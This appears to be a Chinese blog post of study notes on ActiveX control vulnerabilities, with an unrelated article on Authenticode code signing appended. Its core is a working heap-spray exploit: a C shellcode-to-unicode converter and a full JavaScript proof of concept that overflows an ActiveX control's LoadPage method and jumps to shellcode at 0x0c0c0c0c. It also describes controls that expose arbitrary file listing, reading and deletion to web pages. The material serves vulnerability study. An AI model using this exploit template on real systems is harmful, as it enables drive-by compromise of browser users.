activeX控件学习

ActiveX是Microsoft对于一系列策略性面向对象程序技术和工具的称呼,其中主要的技术是组件对象模型(COM)。在有目录和其它支持的网络中,COM变成了分布式COM(DCOM)。


先前 学习的  ACX控件 溢出


通过一个精心构造的 exploit第三方软件中的activeX已经成为  “网马” 惯用的 手段

一些控件封装着一些逻辑较为复杂的方法,并通过  网页中的脚本经过浏览器诶调用执行。

因此控件攻击的大多是通过在网页中插入非法调用的脚本来实现

EG: flash脚本

<object classid="clsid:D27CD```````"> codebase= "`````" width=""  height ="">
````
<embed src="1.swf"  ````````>
</object>

重要的地方为 object 这个html 标签。当用户使用浏览器访问包含这段代码的网页文件时,用户的浏览器在解析到 "object"这个标签是,就会自动调用系统的flash 控件 从而播放1.swf

每一个ACX控件在被注册进入操作系统之后,就会在注册表中建立一个用来表示自己,这个键值被称为 "CLSID"

可以在注册表 HKEY_CLASSES_ROOT\CLSID  找到,全部的 ACX控件

其实只关注 被浏览器加载的那些ACX控件,这类信息可以去 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility 下查看

1)查看  一个ACX 控件必须被标记为 可安全执行脚本(as safe for scripting) 可以查看  对应的 CLSID项下是否有 Implemented Categories 选项即可 

EG:   HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}\Implemented Categories

除了 safe scripting 外,微软还提供了KillBit 的机制来阻止ACX控件被浏览器自动调用,MSDN表示,KillBit是ACX控件的兼容性标志位

2)浏览器首次调用时会给出一个提示警告,用户在确定并同意后,浏览器才会下载安装该ACX控件

当 “可安全执行脚本” 被取消时,IE会用警告消息提示您,该ACX控件可能不安全,根据选择热可能被调用,

但是当启用Killit后 ,只要不启用 “对未标记为安全的ACX控件初始化并执行脚本”  选项,IE就不会调用该克难攻坚。所以ACX被设置了KillBit他就很难再被浏览器调用了

设置KillBit 方法:  Compatibility Flags  值设为  0x400,  WIN7  64  几乎全是····



OLEVIEW  可以查看 系统中已经注册的 ACX控件的用户接口,打开OLEVIEW程序,其中有一个TYPE LIB 选项,该选项包含了注册过的所有ACX控件信息


示例:

<object classid="clsid: 05792C8E-941F-11D0-8529-00C04FD8D503" name="evil">
</object>
<script>
evil.name = "xxx";
</script>

1)建立一个字符串/数字变量
2)字符串-》超长字符串,数字变量-》0/负数/小数/超大数字
3)依照被测试控件的接口需要的参数形式传递给用户接口
4)保存代码,放置在该测试魔板到 WEB服务目录下
5)OD 挂接IE ,通过浏览器访问测试魔板文件
6 OD监视到发生错误····

测试 ACX工具:

COMRaider 

AxMan   ie6.0

AxFuzz   学习源码 学习怎么编写ACX


COMRaider  学习:

regsvr32  C:\iDefense\COMRaider\vuln.dll




得到两个文本 显示 ACX的信息


可以设置OD  调试了

默认生成的  脚本为 VBS

············································································································································································································

网页木马  利用网页脚本代码编写出来的,通过浏览器本身或者ACX控件漏洞,实现向用户系统安装木马病毒程序目的的网页文件

············································································································································································································

怎么去寻找一个程序的  ACX控件:

可以监视 生成的  WINDOW/SYSTEM32/下的DLL    因为ACX控件都要保存在这里吧?····


示例  : 超星阅读 查找


DispCallFunc  函数 进入 ACX控件····················



编写  ACX  POC  时  要注意啊   这个是UNICODE的  不能直接复制  ASCII 码

写了个转换 程序:

#include "stdio.h"
#include <windows.h>
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90";//168 xp sp3

void encoder (char* input)// bool display_flag
{
	int i=0,len=0;
	unsigned char * output;

	len = strlen(popup_general);
	output=(unsigned char *)malloc(len+1);


	for(i=0;i<len;i++)
	{
		output[i] = popup_general[i];
	}


	FILE *fp2 = fopen("2.txt","w+");

	printf("\"");
	fprintf(fp2,"\"");
	len = strlen((const char *)popup_general);
	for(i=0;i<len;)
	{		
		printf("\\u%0.2x",output[i+1]);
		fprintf(fp2,"\\u%0.2x",output[i+1]);
		printf("%0.2x",output[i]);
		fprintf(fp2,"%0.2x",output[i]);
		i += 2;
		if(i%16==0)
		{			
			printf("\"+\n\"");
			fprintf(fp2,"\"+\n\"");
		}
	}
	printf("\";");
	fprintf(fp2,"\";");
	fclose(fp2);
}
void main()
{
	encoder(popup_general);
	getchar();
}


pe() 编码的字符串进行解码。 举个例子就清楚了··················

<script type="text/javascript">

var test1="Visit W3School!"

test1=escape(test1)
document.write (test1 + "<br />")

test1=unescape(test1)
document.write(test1 + "<br />")

</script>

输出:

Visit%20W3School%21
Visit W3School!

2)substring() 方法用于提取字符串中介于两个指定下标之间的字符。



HeapSpray    一般会将EIP 指向堆区的 0x0c0c0c0c 然后用 JS 申请大量堆内存,并用包含着0x90 和shellcode的“内存片” 覆盖这些内存

JS 会从内存低地址 -》 高地址分配内存,因此申请的内存超过 200M (200M = 200 * 1024 *1024 = 0x0c800000 > 0x0c0c0c0c)

0x0c0c0c0c 会被含有 shellcode 的内存片 覆盖,只要内存片中的  0x90能命中 0x0c0c0c0c 位置,shellcode就能运行


覆盖256字节后 发现EIP   所以构造如下   将  EIP  构造为  0xc0xc0xc0xc  

JS POC 代码:

<object classid='clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2' id='target' /></object>
<script>
var nop = unescape("%u9090");
var shellcode=
"\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91"+
"\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332"+
"\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c"+
"\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505"+
"\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b"+
"\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06"+
"\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c"+
"\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd"+
"\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33"+
"\u6853\u6164\u2330\u2368\u6150\u8b6e\u53c4\u5050"+
"\uff53\ufc57\uff53\uf857\u9090";

  while (nop.length < 0x100000/2) 
{nop += nop;}

nop=nop.substring(0,0x100000-32/2-4/2-2/2-shellcode.length);
nop =nop+ shellcode;
  var memory = new Array();
  for (var i=0;i<200;i++) 
{memory[i] += nop;}

var str = '';
while(str.length <256) {str += '\x0a\x0a\x0a\x0a';}
str +=   "\x0c\x0c\x0c\x0c" ;
target.LoadPage(str, 1, 1, 1);
</script>


第二个实验为   目录操作权限的 漏洞

COMRaider 看到  open 函数

利用OCX 的 open 函数  打开 来判断文件系统中是否存在某个特定文件,相当于开放了文件系统的列目录权限


第三个实验 文件读权限 漏洞

COMRaider 看到  safe for script    killbit false

用户接口 发现 read 和 save


第四个实验  文件删除权限漏洞

卡巴 的控件 提供了一个 DeleteFile 接口 发现可以删除任意文件

























  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Activex控件签名工具, 微软提供了两套签名工具, 1)signcode.exe, 从1998年开始使用,随.NET Framework SDK发布。 signcode.exe 数字签名工具 makecert.exe 创建数字证书 cert2spc.exe 将数字证书转化为软件发布者证书格式 2)signtool.exe,随visualstudio 2005及其以后的版本发布。 signtool.exe 数字签名工具 makecert.exe 创建数字证书 cert2spc.exe 将数字证书转化为软件发布者证书格式 pvk2pfx.exe(pvkimprt.exe) 将私有的密匙和软件发布者证书合并为pfx文件,此文件将被signtool.exe使用 上面2中工具的不同是signcode.exe需要输入私有密匙和软件发布者证书(pvk和spc文件),signtool.exe只需要输入由pvk和spc合并产生的一个个人信息交互文件(pfx)。 获得数字证书 数字证书,你可以创建自己的数字证书来测试数字签名的流程,但是正式的软件发布,你需要向可信赖的证书颁发机构购买数字证书和密码,例如你可以向以下的证书机构购买Comodo, Globalsign, Thawte and Verisign。 创建自己的数字证书(用来测试) 使用如下命令来创建自己的数字证书: makecert.exe -sv mykey.pvk -n "CN=Acme Software Inc." mycert.cer你可以将Acme Software Inc.替换为你自己公司的名字。如果mykey.pvk不存在的话,你会要求输入私有密匙的密码,密码可以为空。安全起见最好设置密码,否则别人拿到你的私有密匙后就可以签名了。在上面的命令后,产生了2个文件mykey.pvk和mycert.cer。接下来需要将数字证书(cer)转化为软件发布商证书(spc),命令如下:cert2spc.exe mycert.cer mycert.spc此过程中需要输入私有密匙的密码,创建完成后应该会生成mycert.spc文件,当数字签名时mycert.cer文件是不需要的。 时间戳服务器,你可以选择下列之一, - http://timestamp.verisign.com/scripts/timstamp.dll - http://timestamp.globalsign.com/scripts/timstamp.dll - http://timestamp.comodoca.com/authenticode 1)使用signcode.exe,如下: signcode.exe -t <timestamp URL> -spc mycert.spc -v mykey.pvk "<file to be signed>"进行数字签名的文件可以是.exe, .dll, .ocx 或者是其他的可执行文件。 2)使用signtool.exe,如下: 如果你没有pfx文件,需要使用以下的命令来将pvk和spc文件合并为pfx,如果没有设置密码的话必须使用pvkimprt.exe来合并。pvk2pfx.exe -pvk mykey.pvk -pi <password> -spc mycert.spc -pfx mycert.pfx -po <password>pvkimprt.exe -pfx mycert.spc mycert.pvksigntool.exe sign /f mycert.pfx /p <password> /t <timestamp URL> /v "<file to be signed>" 以下是使用signtool.exe签名的一个实例: signtool.exe sign /f mycert.pfx /p <password> /t <timestamp URL> /v "<file to be signed>"

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值